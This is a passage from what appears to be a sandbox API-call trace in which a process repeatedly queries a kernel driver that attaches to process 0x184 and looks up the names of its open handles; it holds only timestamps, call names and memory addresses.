(ApcState=0xfffff880054735d0) [0136.156] PsReleaseProcessExitSynchronization () returned 0x2 [0136.156] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.156] ObQueryNameString (in: Object=0xfffff8a001f4e6d0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.156] ObfDereferenceObject (Object=0xfffff8a001f4e6d0) returned 0x1 [0136.156] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.156] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.156] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.156] PsAcquireProcessExitSynchronization () returned 0x0 [0136.156] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.157] ObReferenceObjectByHandle (in: Handle=0x3ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f86670, HandleInformation=0x0) returned 0x0 [0136.157] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.157] PsReleaseProcessExitSynchronization () returned 0x2 [0136.157] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.157] ObQueryNameString (in: Object=0xfffff8a001f86670, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.157] ObfDereferenceObject (Object=0xfffff8a001f86670) returned 0x1 [0136.157] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.157] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.157] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.157] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.157] PsAcquireProcessExitSynchronization () returned 0x0 [0136.157] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.157] ObReferenceObjectByHandle (in: Handle=0x3bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f1d110, HandleInformation=0x0) returned 0x0 [0136.157] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.157] PsReleaseProcessExitSynchronization () returned 0x2 [0136.157] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.208] ObQueryNameString (in: Object=0xfffff8a001f1d110, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.208] ObfDereferenceObject (Object=0xfffff8a001f1d110) returned 0x1 [0136.208] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.208] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.208] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.208] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.208] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.208] PsAcquireProcessExitSynchronization () returned 0x0 [0136.208] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.208] ObReferenceObjectByHandle (in: Handle=0x3cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f6b4f0, HandleInformation=0x0) returned 0x0 [0136.208] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.208] PsReleaseProcessExitSynchronization () returned 0x2 [0136.208] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.208] ObQueryNameString (in: Object=0xfffff8a001f6b4f0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.208] ObfDereferenceObject (Object=0xfffff8a001f6b4f0) returned 0x1 [0136.208] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.208] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.208] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.208] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.208] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.208] PsAcquireProcessExitSynchronization () returned 0x0 [0136.208] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.208] ObReferenceObjectByHandle (in: Handle=0x3dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fc79f0, HandleInformation=0x0) returned 0x0 [0136.208] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.208] PsReleaseProcessExitSynchronization () returned 0x2 [0136.208] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.208] ObQueryNameString (in: Object=0xfffff8a001fc79f0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.208] ObfDereferenceObject (Object=0xfffff8a001fc79f0) returned 0x1 [0136.209] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.209] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.209] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.209] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.209] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.209] PsAcquireProcessExitSynchronization () returned 0x0 [0136.209] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.209] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fb78d0, HandleInformation=0x0) returned 0x0 [0136.209] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.209] PsReleaseProcessExitSynchronization () returned 0x2 [0136.209] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.209] ObQueryNameString (in: Object=0xfffff8a001fb78d0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.209] ObfDereferenceObject (Object=0xfffff8a001fb78d0) returned 0x1 [0136.209] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.209] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.209] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.209] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.209] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.209] PsAcquireProcessExitSynchronization () returned 0x0 [0136.209] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.209] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001faea00, HandleInformation=0x0) returned 0x0 [0136.209] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.209] PsReleaseProcessExitSynchronization () returned 0x2 [0136.209] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.209] ObQueryNameString (in: Object=0xfffff8a001faea00, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.209] ObfDereferenceObject (Object=0xfffff8a001faea00) returned 0x1 [0136.209] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.209] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.209] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.209] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.209] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.209] PsAcquireProcessExitSynchronization () returned 0x0 [0136.209] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.210] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00202e5c0, HandleInformation=0x0) returned 0x0 [0136.210] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.210] PsReleaseProcessExitSynchronization () returned 0x2 [0136.210] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.210] ObQueryNameString (in: Object=0xfffff8a00202e5c0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.210] ObfDereferenceObject (Object=0xfffff8a00202e5c0) returned 0x1 [0136.210] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.210] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.210] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.210] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.210] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.210] PsAcquireProcessExitSynchronization () returned 0x0 [0136.210] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.210] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001efae00, HandleInformation=0x0) returned 0x0 [0136.210] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.210] PsReleaseProcessExitSynchronization () returned 0x2 [0136.210] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.210] ObQueryNameString (in: Object=0xfffff8a001efae00, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.210] ObfDereferenceObject (Object=0xfffff8a001efae00) returned 0x1 [0136.210] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.210] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.210] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.210] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.210] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.210] PsAcquireProcessExitSynchronization () returned 0x0 [0136.210] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.210] ObReferenceObjectByHandle (in: Handle=0x430, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001ffee10, HandleInformation=0x0) returned 0x0 [0136.210] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.210] PsReleaseProcessExitSynchronization () returned 0x2 [0136.210] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.210] ObQueryNameString (in: Object=0xfffff8a001ffee10, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.210] ObfDereferenceObject (Object=0xfffff8a001ffee10) returned 0x1 [0136.210] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.210] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.210] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.211] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.211] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.211] PsAcquireProcessExitSynchronization () returned 0x0 [0136.211] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.211] ObReferenceObjectByHandle (in: Handle=0x440, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020161d0, HandleInformation=0x0) returned 0x0 [0136.211] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.211] PsReleaseProcessExitSynchronization () returned 0x2 [0136.211] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.211] ObQueryNameString (in: Object=0xfffff8a0020161d0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.211] ObfDereferenceObject (Object=0xfffff8a0020161d0) returned 0x1 [0136.211] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.211] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.211] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.211] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.211] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.211] PsAcquireProcessExitSynchronization () returned 0x0 [0136.211] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.211] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001feb740, HandleInformation=0x0) returned 0x0 [0136.211] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.211] PsReleaseProcessExitSynchronization () returned 0x2 [0136.211] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.211] ObQueryNameString (in: Object=0xfffff8a001feb740, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.211] ObfDereferenceObject (Object=0xfffff8a001feb740) returned 0x1 [0136.211] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.211] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.211] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.211] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.211] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.211] PsAcquireProcessExitSynchronization () returned 0x0 [0136.211] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.211] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001b713e0, HandleInformation=0x0) returned 0x0 [0136.211] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.211] PsReleaseProcessExitSynchronization () returned 0x2 [0136.211] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.211] ObQueryNameString (in: Object=0xfffff8a001b713e0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.212] ObfDereferenceObject (Object=0xfffff8a001b713e0) returned 0x1 [0136.212] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.212] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.212] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.212] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.212] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.212] PsAcquireProcessExitSynchronization () returned 0x0 [0136.212] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.212] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fab170, HandleInformation=0x0) returned 0x0 [0136.212] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.212] PsReleaseProcessExitSynchronization () returned 0x2 [0136.212] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.212] ObQueryNameString (in: Object=0xfffff8a001fab170, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.212] ObfDereferenceObject (Object=0xfffff8a001fab170) returned 0x1 [0136.212] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.212] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.212] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.212] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.212] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.212] PsAcquireProcessExitSynchronization () returned 0x0 [0136.212] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.212] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001cb0690, HandleInformation=0x0) returned 0x0 [0136.212] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.212] PsReleaseProcessExitSynchronization () returned 0x2 [0136.212] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.212] ObQueryNameString (in: Object=0xfffff8a001cb0690, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.212] ObfDereferenceObject (Object=0xfffff8a001cb0690) returned 0x1 [0136.212] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.212] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.212] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.212] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.212] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.212] PsAcquireProcessExitSynchronization () returned 0x0 [0136.212] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.212] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f9f600, HandleInformation=0x0) returned 0x0 [0136.212] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.213] PsReleaseProcessExitSynchronization () returned 0x2 [0136.213] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.213] ObQueryNameString (in: Object=0xfffff8a001f9f600, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.213] ObfDereferenceObject (Object=0xfffff8a001f9f600) returned 0x1 [0136.213] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.213] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 